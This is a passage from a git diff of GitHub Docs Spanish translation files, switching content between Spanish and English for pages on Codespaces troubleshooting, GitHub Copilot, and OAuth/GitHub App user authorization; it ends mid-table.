codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)". -Si un puerto no se reenvía automáticamente, puedes reenviarlo manualmente. Para obtener más información, consulta "[Reenvío de un puerto](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace#forwarding-a-port)". +When an application running inside a codespace outputs a port to the console, {% data variables.product.prodname_github_codespaces %} detects the localhost URL pattern and automatically forwards the port. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." -Si se configura el reenvío de puertos, verifica lo siguiente: +If a port is not automatically forwarded, you can forward it manually. For more information, see "[Forwarding a port](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace#forwarding-a-port)." -- Utiliza la alerta de notificación o haz clic en la URL de la Terminal para abrir el puerto reenviado. No funcionará teclear `localhost:8000` (como ejemplo) en tu equipo local si estás conectado al codespace a través del explorador. -- Asegúrate de verificar que tu aplicación aún se esté ejecutando desde dentro de tu codespace. Si tu codespace paró después de un periodo de inactividad, necesitarás garantizar que tu aplicación reinicie una vez que se reinició el codespace. +If port forwarding is set up, check the following: -Normalmente, puedes hacer que un puerto reenviado sea accesible públicamente o dentro de la organización que posee un repositorio. Para obtener más información, consulta "[Reenvío de puertos en el codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)". Si las opciones de visibilidad pública o de la organización no están disponibles, esto indica que se ha configurado una directiva de nivel de organización. Para más información, vea "[Restricción de la visibilidad de los puertos reenviados](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)". +- Use the link in the notification "toast" message, that pops up in the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, or click the URL in Terminal, to open the forwarded port. Typing in `localhost:8000` (as an example) to your local machine will not work if you're connected to the codespace via the browser. +- Make sure to check that your application is still running from within your codespace. If your codespace has stopped after a period of inactivity, you'll need to ensure to restart your application once the codespace has restarted. + +Typically, you can make a forwarded port accessible publicly, or within the organization that owns a repository. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." If either, or both, of the options for public or organization visibility are not available, this indicates that an organization-level policy has been configured. For more information, see "[Restricting the visibility of forwarded ports](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)." {% data reusables.codespaces.forwarded-ports-environment-variable %} diff --git a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-prebuilds.md b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-prebuilds.md index 45f62d023a..25a547449e 100644 --- a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-prebuilds.md +++ b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-prebuilds.md @@ -8,7 +8,6 @@ versions: type: reference topics: - Codespaces -product: '{% data reusables.gated-features.codespaces %}' miniTocMaxHeadingLevel: 3 --- @@ -44,7 +43,7 @@ cat /workspaces/.codespaces/shared/environment-variables.json | jq '.ACTION_NAME You may notice that sometimes, when you create a new codespace from a prebuild-enabled branch, the "{% octicon "zap" aria-label="The zap icon" %} Prebuild Ready" label is not displayed in the dialog box for choosing a machine type. This means that prebuilds are not currently available. -By default, each time you push to a prebuild-enabled branch, the prebuild is updated. If the push involves a change to the dev container configuration then, while the update is in progress, the "{% octicon "zap" aria-label="The zap icon" %} Prebuild Ready" label is removed from the list of machine types. During this time you can still create codespaces without a prebuild. If required, you can reduce the occasions on which prebuilds are unavailable for a repository by setting the prebuild to be updated only when you make a change to your dev container configuration files, or only on a custom schedule. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)." +By default, each time you push to a prebuild-enabled branch, the prebuild is updated. If the push involves a change to the dev container configuration then, while the update is in progress, the "{% octicon "zap" aria-label="The zap icon" %} Prebuild Ready" label is removed from the list of machine types. During this time you can still create codespaces without a prebuild. If required, you can reduce the occasions on which prebuilds are unavailable for a repository by setting the prebuild to be updated only when you make a change to your dev container configuration files, or only on a custom schedule. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)." If your branch is not specifically enabled for prebuilds it may still benefit from prebuilds if it was branched from a prebuild-enabled branch. However, if the dev container configuration is changed on your branch, so that it's not the same as the configuration on the base branch, prebuilds will no longer be available on your branch. @@ -61,6 +60,12 @@ If the `devcontainer.json` configuration file for a prebuild configuration speci ## Troubleshooting failed workflow runs for prebuilds +### Increasing the {% data variables.product.prodname_actions %} spending limit + +Prebuilds are created and updated using {% data variables.product.prodname_actions %}. Your prebuild workflows will fail if you have used all of your {% data variables.product.prodname_actions %} minutes and have reached your spending limit. If this occurs you can increase your {% data variables.product.prodname_actions %} spending limit to allow the workflows to run. For more information, see "[Managing your spending limit for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions)." + +### Authorizing access permissions + If the `devcontainer.json` configuration file for a prebuild configuration is updated to specify that permissions for access to other repositories are required, and a repository administrator has not been prompted to authorize these permissions for the prebuild configuration, then the prebuild workflow may fail. Try updating the prebuild configuration, without making any changes. If, when you click **Update**, the authorization page is displayed, check that the requested permissions are appropriate and, if so, authorize the request. For more information, see "[Managing prebuilds](/codespaces/prebuilding-your-codespaces/managing-prebuilds#editing-a-prebuild-configuration)" and "[Managing access to other repositories within your codespace](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces#setting-additional-repository-permissions)." If the workflow runs for a prebuild configuration are failing, you can temporarily disable the prebuild configuration while you investigate. For more information, see "[Managing prebuilds](/codespaces/prebuilding-your-codespaces/managing-prebuilds#disabling-a-prebuild-configuration)." diff --git a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md index b487cb84c9..c403cf9f6c 100644 --- a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md +++ b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md @@ -1,7 +1,6 @@ --- title: Troubleshooting your connection to GitHub Codespaces intro: 'Troubleshooting help for connecting to {% data variables.product.prodname_github_codespaces %}.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -31,6 +30,16 @@ Your company network may be blocking the connection. If possible, check any logg If you still cannot connect, {% data reusables.codespaces.contact-support %} +## Unable to connect to your codespace in JupyterLab + +To be able to use a codespace in JupyterLab, you must ensure that your codespace has it installed. The default container image that's used by {% data variables.product.prodname_github_codespaces %} includes JupyterLab, but if you have customized your dev container configuration you will have to manually install JupyterLab. + +If your codespace uses a Debian-based image, you can install JupyterLab in the dev container by adding the `python` feature to your `devcontainer.json` file, with the `installJupyterlab` option set to `true`. Otherwise, install it directly in your Dockerfile. For installation instructions, see "[Installation](https://jupyterlab.readthedocs.io/en/stable/getting_started/installation.html)" in the JupyterLab documentation. + +For more information about the `python` feature, see the README page in the [`devcontainers/features` repository](https://github.com/devcontainers/features/tree/main/src/python). For more information about the `devcontainer.json` file and the Dockerfile, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#devcontainerjson)." + +If you still cannot connect, {% data reusables.codespaces.contact-support %} + ## {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %} cannot connect If you cannot connect to a codespace from {% data variables.product.prodname_vscode %} desktop, use the following troubleshooting steps. diff --git a/translations/es-ES/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md b/translations/es-ES/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md index 31dc40d250..c75eb6ab59 100644 --- a/translations/es-ES/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md +++ b/translations/es-ES/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md @@ -1,7 +1,6 @@ --- -title: Trabajar con el soporte técnico de GitHub Codespaces -intro: 'Sugerencias para obtener la mejor ayuda del soporte técnico de {% data variables.product.prodname_github_codespaces %}.' -product: '{% data reusables.gated-features.codespaces %}' +title: Working with support for GitHub Codespaces +intro: 'Tips on getting the best help from support for {% data variables.product.prodname_github_codespaces %}.' versions: fpt: '*' ghec: '*' @@ -11,34 +10,29 @@ topics: shortTitle: Working with support redirect_from: - /codespaces/troubleshooting/working-with-support-for-codespaces -ms.openlocfilehash: e352142404db5a351054756e4ef627a25fc84a05 -ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/09/2022 -ms.locfileid: '147682523' --- -Antes de que soporte pueda ayudarte con los problemas de los codespaces, necesitas saber el nombre del codespace y su ID de codespaces (identificador). Adicionalmente, soporte podría pedirte que le compartas algunas bitácoras. Para más información, consulta "[Registros de {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/github-codespaces-logs)" y "[Acerca del soporte técnico de GitHub](/github/working-with-github-support/about-github-support)". -### Nombres de los codespaces +Before support can help you with problems with codespaces, you need to know the permanent name of the codespace and its codespaces ID (identifier). In addition, support may ask you to share some logs with them. For more information, see "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs)" and "[About GitHub Support](/github/working-with-github-support/about-github-support)." -Cada codespace tiene un nombre único que es una combinación de tu manejo de {% data variables.product.company_short %}, el nombre del repositorio, y algunos caracteres aleatorios. Los caracteres adicionales te permiten tener codespaces para ramas diferentes en el mismo repositorio. Por ejemplo: `octocat-myrepo-gmc7`. +## Codespace names -Para encontrar el nombre de un codespace: +Each codespace has a unique name that is a combination of your {% data variables.product.company_short %} handle, two or three automatically generated words, and some random characters. For example: `octocat-literate-space-parakeet-mld5`. The two or three automatically generated words also form the initial display name of your codespace, in this case, `literate-space-parakeet`. You can change the display name for a codespace, but this will not affect the permanent name. For more information, see "[Renaming a codespace](/codespaces/customizing-your-codespace/renaming-a-codespace)." -- Abre el codespace en el buscador. El subdominio de la URL es el nombre del codespace. Por ejemplo: `https://octocat-myrepo-gmc7.github.dev` es la dirección URL del URL `octocat-myrepo-gmc7`. -- Si no puede abrir un codespace, puedes acceder al nombre en {% data variables.product.product_name %} en https://github.com/codespaces. El nombre se muestra en un elemento emergente al mantener el puntero sobre la opción **Abrir en el explorador** en https://github.com/codespaces. - ![Nombre del codespace que se muestra al pasar el puntero del mouse](/assets/images/help/codespaces/find-codespace-name-github.png) +To find the name of a codespace: -El nombre del codespace también se incluye en muchos otros archivos de bitácora. Por ejemplo, en el codespace se registra como el valor de `friendlyName`, en el registro de extensión {% data variables.product.prodname_github_codespaces %} después de `making GET request for` y en el registro de consola del explorador después de `clientUrl`. Para más información, consulta "[Registros de {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/github-codespaces-logs)". +- Open the codespace in the browser. The subdomain of the URL is the name of the codespace. For example: `https://octocat-literate-space-parakeet-mld5.github.dev` is the URL for the `octocat-literate-space-parakeet-mld5` codespace. +- If you cannot open a codespace, you can access the name in {% data variables.product.product_name %} on https://github.com/codespaces. The name is shown in a pop-up when you hover over the display name of a codespace on https://github.com/codespaces. + ![Codespace name shown on hover over](/assets/images/help/codespaces/find-codespace-name-github.png) -### ID de los codespaces +The name the codespace is also included in many of the log files. For example, in the codespace logs as the value of `friendlyName`, in the {% data variables.product.prodname_github_codespaces %} extension log after `making GET request for`, and in the browser console log after `clientUrl`. For more information, see "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs)." -Cada codespace también tiene un ID (identificador). Este no se muestra predeterminadamente en {% data variables.product.prodname_vscode %}, así que podrías tener que actualizar los ajustes para la extensión de {% data variables.product.prodname_github_codespaces %} antes de que puedas acceder a la ID. +## Codespaces IDs -1. En el explorador o el escritorio de {% data variables.product.prodname_vscode %}, en la barra de actividad a la izquierda, haga clic en **Explorador remoto** para mostrar los detalles del codespace. +Every codespace also has an ID (identifier). This is not shown by default in {% data variables.product.prodname_vscode %} so you may need to update the settings for the {% data variables.product.prodname_github_codespaces %} extension before you can access the ID. + +1. In {% data variables.product.prodname_vscode %}, browser or desktop, in the Activity Bar on the left, click **Remote Explorer** to show details for the codespace. {% indented_data_reference reusables.codespaces.remote-explorer spaces=3 %} -1. Si la barra lateral incluye una sección de "Rendimiento del Codespace", pasa el puntero del mouse sobre "ID del Codespace" y haz clic en el icono de portapapeles para copiar la ID. -1. Si no se muestra la información, haz clic en {% octicon "gear" aria-label="The gear icon" %} en la esquina inferior izquierda de la barra de actividad para mostrar la pestaña de "Ajustes". -1. Expanda **Extensiones** y haga clic en **{% data variables.product.prodname_github_codespaces %}** para mostrar la configuración de la extensión. Después, habilite **Mostrar Explorador de rendimiento** para mostrar la sección "Rendimiento de Codespace" en la barra lateral. - ![Id. y valores del codespace necesarios para mostrar la información de rendimiento](/assets/images/help/codespaces/find-codespace-id.png) +1. If the sidebar includes a "Codespace Performance" section, hover over the "Codespace ID" and click the clipboard icon to copy the ID. +1. If the information is not shown, click {% octicon "gear" aria-label="The gear icon" %}, in the bottom-left corner of the Activity Bar, to display the "Settings" tab. +1. Expand **Extensions** and click **{% data variables.product.prodname_github_codespaces %}** to display the settings for the extension. Then enable **Show Performance Explorer** to display the "Codespace Performance" section in the sidebar. + ![Codespace ID and settings required to display performance information](/assets/images/help/codespaces/find-codespace-id.png) diff --git a/translations/es-ES/content/copilot/overview-of-github-copilot/about-github-copilot.md b/translations/es-ES/content/copilot/overview-of-github-copilot/about-github-copilot.md index b3dea2f516..56fb77502e 100644 --- a/translations/es-ES/content/copilot/overview-of-github-copilot/about-github-copilot.md +++ b/translations/es-ES/content/copilot/overview-of-github-copilot/about-github-copilot.md @@ -1,44 +1,41 @@ --- -title: "Acerca de GitHub\_Copilot" -intro: '{% data variables.product.prodname_copilot %} puede ayudarte a codificar ofreciendo sugerencias de estilo autocompletar. Puedes aprender qué se debe tener en cuenta al usar {% data variables.product.prodname_copilot %} y cómo funcionan los datos {% data variables.product.prodname_copilot %}.' +title: About GitHub Copilot +intro: '{% data variables.product.prodname_copilot %} can help you code by offering autocomplete-style suggestions. You can learn what to consider while using {% data variables.product.prodname_copilot %}, and how {% data variables.product.prodname_copilot %} works.' versions: feature: copilot topics: - Copilot shortTitle: About GitHub Copilot -ms.openlocfilehash: 340be078a8af263a477399a3303161864fe2040e -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147092970' --- -## Acerca de {% data variables.product.prodname_copilot %} -{% data variables.product.prodname_copilot %} es un programador de pares de IA que ofrece sugerencias de estilo autocompletar a medida que programas. Puedes recibir sugerencias de {% data variables.product.prodname_copilot %} ya sea empezando a escribir el código que quieres usar o escribiendo un comentario de lenguaje natural que describa lo que quieres que haga el código. {% data variables.product.prodname_copilot %} analiza el contexto del archivo que estás editando, así como los archivos relacionados, y ofrece sugerencias desde el editor de texto. +## About {% data variables.product.prodname_copilot %} -{% data variables.product.prodname_copilot %} está optimizado para ayudarte a escribir Python, JavaScript, TypeScript, Ruby, Go, C# o C++. También se pueden usar los datos {% data variables.product.prodname_copilot %} para generar sugerencias en otros lenguajes y una amplia variedad de marcos. {% data variables.product.prodname_copilot %} cuenta con la tecnología de OpenAI Codex, un nuevo sistema de inteligencia artificial creado por OpenAI. +{% data variables.product.prodname_copilot %} is an AI pair programmer that offers autocomplete-style suggestions as you code. You can receive suggestions from {% data variables.product.prodname_copilot %} either by starting to write the code you want to use, or by writing a natural language comment describing what you want the code to do. {% data variables.product.prodname_copilot %} analyzes the context in the file you are editing, as well as related files, and offers suggestions from within your text editor. {% data variables.product.prodname_copilot %} is powered by OpenAI Codex, a new AI system created by OpenAI. -{% data variables.product.prodname_copilot %} está disponible como extensión en Visual Studio Code, Visual Studio, Neovim y el conjunto de IDE de JetBrains. Para más información, ve "[Introducción a {% data variables.product.prodname_copilot %}](/copilot/getting-started-with-github-copilot)". +{% data variables.product.prodname_copilot %} is trained on all languages that appear in public repositories. For each language, the quality of suggestions you receive may depend on the volume and diversity of training data for that language. For example, JavaScript is well-represented in public repositories and is one of {% data variables.product.prodname_copilot %}'s best supported languages. Languages with less representation in public repositories may produce fewer or less robust suggestions. -## Uso de {% data variables.product.prodname_copilot %} +{% data variables.product.prodname_copilot %} is available as an extension in Visual Studio Code, Visual Studio, Neovim and the JetBrains suite of IDEs. For more information, see "[Getting started with {% data variables.product.prodname_copilot %}](/copilot/getting-started-with-github-copilot)." -Puedes ver ejemplos reales de {% data variables.product.prodname_copilot %} en acción. Para más información, ve el sitio web de [{% data variables.product.prodname_copilot %}](https://copilot.github.com/). +## Using {% data variables.product.prodname_copilot %} -GitHub Copilot ofrece sugerencias de un modelo que OpenAI creó a partir de miles de millones de líneas de código abierto. Como resultado, el conjunto de entrenamiento para {% data variables.product.prodname_copilot %} puede contener patrones de codificación no seguros, errores o referencias a API o expresiones obsoletas. Cuando {% data variables.product.prodname_copilot %} genera sugerencias basadas en estos datos de entrenamiento, esas sugerencias también pueden contener patrones no deseados. +You can see real-world examples of {% data variables.product.prodname_copilot %} in action. For more information, see the [{% data variables.product.prodname_copilot %}](https://copilot.github.com/) website. -Eres responsable de garantizar la seguridad y la calidad del código. Se recomienda tomar las mismas precauciones al usar el código generado por {% data variables.product.prodname_copilot %} que tomaría al usar cualquier código que no hayas escrito. Estas precauciones incluyen pruebas rigurosas, examen de IP y seguimiento de vulnerabilidades de seguridad. {% data variables.product.company_short %} proporciona una serie de características para ayudarte a supervisar y mejorar la calidad del código, como {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dependabot %}, {% data variables.product.prodname_codeql %} y {% data variables.product.prodname_code_scanning %}. Todas estas características son gratuitas para su uso en repositorios públicos. Para más información, ve "[Descripción de {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)" y "[Características de seguridad de {% data variables.product.company_short %}](/code-security/getting-started/github-security-features)". +GitHub Copilot offers suggestions from a model that OpenAI built from billions of lines of open source code. As a result, the training set for {% data variables.product.prodname_copilot %} may contain insecure coding patterns, bugs, or references to outdated APIs or idioms. When {% data variables.product.prodname_copilot %} produces suggestions based on this training data, those suggestions may also contain undesirable patterns. -{% data variables.product.prodname_copilot %} usa filtros para bloquear palabras ofensivas en las indicaciones y evitar generar sugerencias en contextos confidenciales. Estamos comprometidos a mejorar constantemente el sistema de filtros para detectar y quitar sugerencias ofensivas generadas por {% data variables.product.prodname_copilot %}, incluidas las salidas sesgadas, discriminatorias o abusivas. Si ves una sugerencia ofensiva generada por {% data variables.product.prodname_copilot %}, notifícalo directamente a copilot-safety@github.com para que podamos mejorar nuestras medidas de seguridad. +You are responsible for ensuring the security and quality of your code. We recommend you take the same precautions when using code generated by {% data variables.product.prodname_copilot %} that you would when using any code you didn't write yourself. These precautions include rigorous testing, IP scanning, and tracking for security vulnerabilities. {% data variables.product.company_short %} provides a number of features to help you monitor and improve code quality, such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dependabot %}, {% data variables.product.prodname_codeql %} and {% data variables.product.prodname_code_scanning %}. All these features are free to use in public repositories. For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)" and "[{% data variables.product.company_short %} security features](/code-security/getting-started/github-security-features)." -## Acerca de la facturación para {% data variables.product.prodname_copilot %} +{% data variables.product.prodname_copilot %} uses filters to block offensive words in the prompts and avoid producing suggestions in sensitive contexts. We are committed to constantly improving the filter system to more intelligently detect and remove offensive suggestions generated by {% data variables.product.prodname_copilot %}, including biased, discriminatory, or abusive outputs. If you see an offensive suggestion generated by {% data variables.product.prodname_copilot %}, please report the suggestion directly to copilot-safety@github.com so that we can improve our safeguards. -{% data variables.product.prodname_copilot %} es una característica de pago que requiere una suscripción mensual o anual. Los alumnos y mantenedores verificados de proyectos de código abierto populares en {% data variables.product.prodname_dotcom %} pueden usar {% data variables.product.prodname_copilot %} de forma gratuita. Si cumples los criterios para una suscripción gratuita de {% data variables.product.prodname_copilot %}, se te notificará de forma automática cuando visites la página de suscripción de {% data variables.product.prodname_copilot %}. Si no cumples los criterios para una suscripción gratuita de {% data variables.product.prodname_copilot %}, se te ofrecerá una prueba de 60 días, después de la cual se requiere una suscripción de pago para su uso continuado. Para más información, consulta "[Acerca de la facturación de {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot)". +{% data reusables.copilot.emus-cannot-use-copilot %} -## Sobre la licencia del complemento {% data variables.product.prodname_copilot %} en los IDE de JetBrains +## About billing for {% data variables.product.prodname_copilot %} -{% data variables.product.prodname_dotcom %}, Inc. es el licenciante del complemento JetBrains. El contrato de licencia de usuario final para este complemento es los [{% data variables.product.prodname_dotcom %} Condiciones de GitHub para las características y productos adicionales](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) y el uso de este complemento está sujeto a esos términos. JetBrains no tiene ninguna responsabilidad ni obligación en relación con el complemento o con dicho contrato. Al usar el complemento, se aceptan los términos anteriores. +{% data variables.product.prodname_copilot %} is a paid feature, requiring a monthly or yearly subscription. Verified students, teachers, and maintainers of popular open source projects on {% data variables.product.prodname_dotcom %} are eligible to use {% data variables.product.prodname_copilot %} for free. If you meet the criteria for a free {% data variables.product.prodname_copilot %} subscription, you will be automatically notified when you visit the {% data variables.product.prodname_copilot %} subscription page. If you do not meet the criteria for a free {% data variables.product.prodname_copilot %} subscription, you will be offered a 60 day free trial, after which a paid subscription is required for continued use. For more information, see "[About billing for {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot)." -## Información adicional +## About the license for the {% data variables.product.prodname_copilot %} plugin in JetBrains IDEs -- "[{% data variables.product.company_short %} Condiciones de GitHub para las características y productos adicionales](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot)" +{% data variables.product.prodname_dotcom %}, Inc. is the licensor of the JetBrains plugin. The end user license agreement for this plugin is the [{% data variables.product.prodname_dotcom %} Terms for Additional Products and Features](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) and use of this plugin is subject to those terms. JetBrains has no responsibility or liability in connection with the plugin or such agreement. By using the plugin, you agree to the foregoing terms. + +## Further reading + +- "[{% data variables.product.company_short %} Terms for Additional Products and Features](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot)" diff --git a/translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md b/translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md index 18f723c4e9..07fa3c28f1 100644 --- a/translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md +++ b/translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md @@ -14,12 +14,12 @@ versions: topics: - GitHub Apps shortTitle: Identify & authorize users -ms.openlocfilehash: 19977ba3df74e002f1fa9f0af55cd4d6c43e6e3e -ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.openlocfilehash: 302e7a25931c3af2957dae7a67e0ca080fc5bd50 +ms.sourcegitcommit: f54d01e643f994ce48f0774dbc680ad77dd6193f ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/09/2022 -ms.locfileid: '147717664' +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160584' --- {% data reusables.pre-release-program.expiring-user-access-tokens %} @@ -92,7 +92,6 @@ Nombre | Tipo | Descripción `client_secret` | `string` | **Obligatorio.** Secreto de cliente de la aplicación de GitHub. `code` | `string` | **Obligatorio.** Código que ha recibido como respuesta al paso 1. `redirect_uri` | `string` | La URL en tu aplicación a donde se enviará a los usuarios después de la autorización. Esto debe ser una coincidencia exacta con {% ifversion fpt or ghes or ghec %} una de las URL que ha proporcionado como **URL de devolución de llamada** {% else %} la URL que ha proporcionado en el campo **URL de devolución de llamada de autorización del usuario**{% endif %} al configurar la aplicación de GitHub y no puede contener ningún parámetro adicional. -`state` | `string` | La secuencia aleatoria indescifrable que proporcionaste en el Paso 1. #### Response diff --git a/translations/es-ES/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md b/translations/es-ES/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md index 557287e15b..57a04d9bf2 100644 --- a/translations/es-ES/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md +++ b/translations/es-ES/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md @@ -1,5 +1,5 @@ --- -title: Authorizing OAuth Apps +title: Autorización de aplicaciones de OAuth intro: '{% data reusables.shortdesc.authorizing_oauth_apps %}' redirect_from: - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-authorization-options-for-oauth-apps @@ -16,67 +16,73 @@ versions: ghec: '*' topics: - OAuth Apps +ms.openlocfilehash: d35b65add4259df72d9ae8b179829a148abd7174 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106714' --- -{% data variables.product.product_name %}'s OAuth implementation supports the standard [authorization code grant type](https://tools.ietf.org/html/rfc6749#section-4.1) and the OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628) for apps that don't have access to a web browser. +La implementación OAuth de {% data variables.product.product_name %} admite el [tipo de concesión de código de autorización](https://tools.ietf.org/html/rfc6749#section-4.1) estándar y la [concesión de autorización de dispositivos](https://tools.ietf.org/html/rfc8628) de OAuth 2.0 para aplicaciones que no tienen acceso a un explorador web. -If you want to skip authorizing your app in the standard way, such as when testing your app, you can use the [non-web application flow](#non-web-application-flow). +Si quiere omitir la autorización de la aplicación de la manera estándar, como al probar la aplicación, puede usar el [flujo de aplicación no web](#non-web-application-flow). -To authorize your OAuth app, consider which authorization flow best fits your app. +Para autorizar tu app de OAuth, considera qué flujo de autorizaciones queda mejor con ella. -- [web application flow](#web-application-flow): Used to authorize users for standard OAuth apps that run in the browser. (The [implicit grant type](https://tools.ietf.org/html/rfc6749#section-4.2) is not supported.) -- [device flow](#device-flow): Used for headless apps, such as CLI tools. +- [Flujo de aplicaciones web](#web-application-flow): se usa para autorizar a los usuarios para las aplicaciones de OAuth estándar que se ejecutan en el explorador. (No se admite el [tipo de concesión implícita](https://tools.ietf.org/html/rfc6749#section-4.2)). +- [flujo de dispositivo](#device-flow): se usa para aplicaciones sin encabezado, como herramientas de la CLI. -## Web application flow +## Flujo de aplicaciones Web {% note %} -**Note:** If you are building a GitHub App, you can still use the OAuth web application flow, but the setup has some important differences. See "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)" for more information. +**Nota:** Si va a compilar una aplicación de GitHub, todavía puede utilizar el flujo de aplicaciones web de OAuth, pero la configuración tiene diferencias importantes. Vea "[Identificación y autorización de usuarios para aplicaciones de GitHub](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)" para más información. {% endnote %} -The web application flow to authorize users for your app is: +El flujo web de aplicaciones para autorizar a los usuarios en tu app es: -1. Users are redirected to request their GitHub identity -2. Users are redirected back to your site by GitHub -3. Your app accesses the API with the user's access token +1. Se redirecciona a los usuarios para solicitar su identidad de GitHub +2. GitHub redirecciona a los usuarios de vuelta a tu sitio +3. Tu aplicación accede a la API con el token de acceso del usuario -### 1. Request a user's GitHub identity +### 1. Solicitud de la identidad de un usuario de GitHub GET {% data variables.product.oauth_host_code %}/login/oauth/authorize -When your GitHub App specifies a `login` parameter, it prompts users with a specific account they can use for signing in and authorizing your app. +Cuando la aplicación de GitHub especifica un parámetro `login`, solicita a los usuarios con una cuenta concreta que pueden utilizar para iniciar sesión y autorizar la aplicación. -#### Parameters +#### Parámetros -Name | Type | Description +Nombre | Tipo | Descripción -----|------|-------------- -`client_id`|`string` | **Required**. The client ID you received from GitHub when you {% ifversion fpt or ghec %}[registered](https://github.com/settings/applications/new){% else %}registered{% endif %}. -`redirect_uri`|`string` | The URL in your application where users will be sent after authorization. See details below about [redirect urls](#redirect-urls). -`login` | `string` | Suggests a specific account to use for signing in and authorizing the app. -`scope`|`string` | A space-delimited list of [scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). If not provided, `scope` defaults to an empty list for users that have not authorized any scopes for the application. For users who have authorized scopes for the application, the user won't be shown the OAuth authorization page with the list of scopes. Instead, this step of the flow will automatically complete with the set of scopes the user has authorized for the application. For example, if a user has already performed the web flow twice and has authorized one token with `user` scope and another token with `repo` scope, a third web flow that does not provide a `scope` will receive a token with `user` and `repo` scope. +`client_id`|`string` | **Requerido**. El id. de cliente que ha recibido de GitHub al {% ifversion fpt or ghec %}[registrarse](https://github.com/settings/applications/new){% else %}registrarse{% endif %}. +`redirect_uri`|`string` | La URL en tu aplicación a donde se enviará a los usuarios después de la autorización. Vea los detalles siguientes sobre las [URL de redireccionamiento](#redirect-urls). +`login` | `string` | Sugiere una cuenta específica para utilizar para registrarse y autorizar la app. +`scope`|`string` | Lista de [ámbitos](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/) delimitada por espacios. Si no se proporciona, de manera predeterminada `scope` será una lista vacía para los usuarios que no han autorizado ningún ámbito para la aplicación. Para los usuarios que han autorizado alcances para la aplicación, el usuario no se mostrará en la página de autorización de OAuth con la lista de alcances. En vez de esto, este paso del flujo se completara automáticamente con el conjunto de alcances que el usuario haya autorizado para la aplicación. Por ejemplo, si un usuario ya ha realizado el flujo web dos veces y ha autorizado un token con ámbito `user` y otro con ámbito `repo`, un tercer flujo web que no proporcione un valor `scope` recibirá un token con el ámbito `user` y `repo`. `state` | `string` 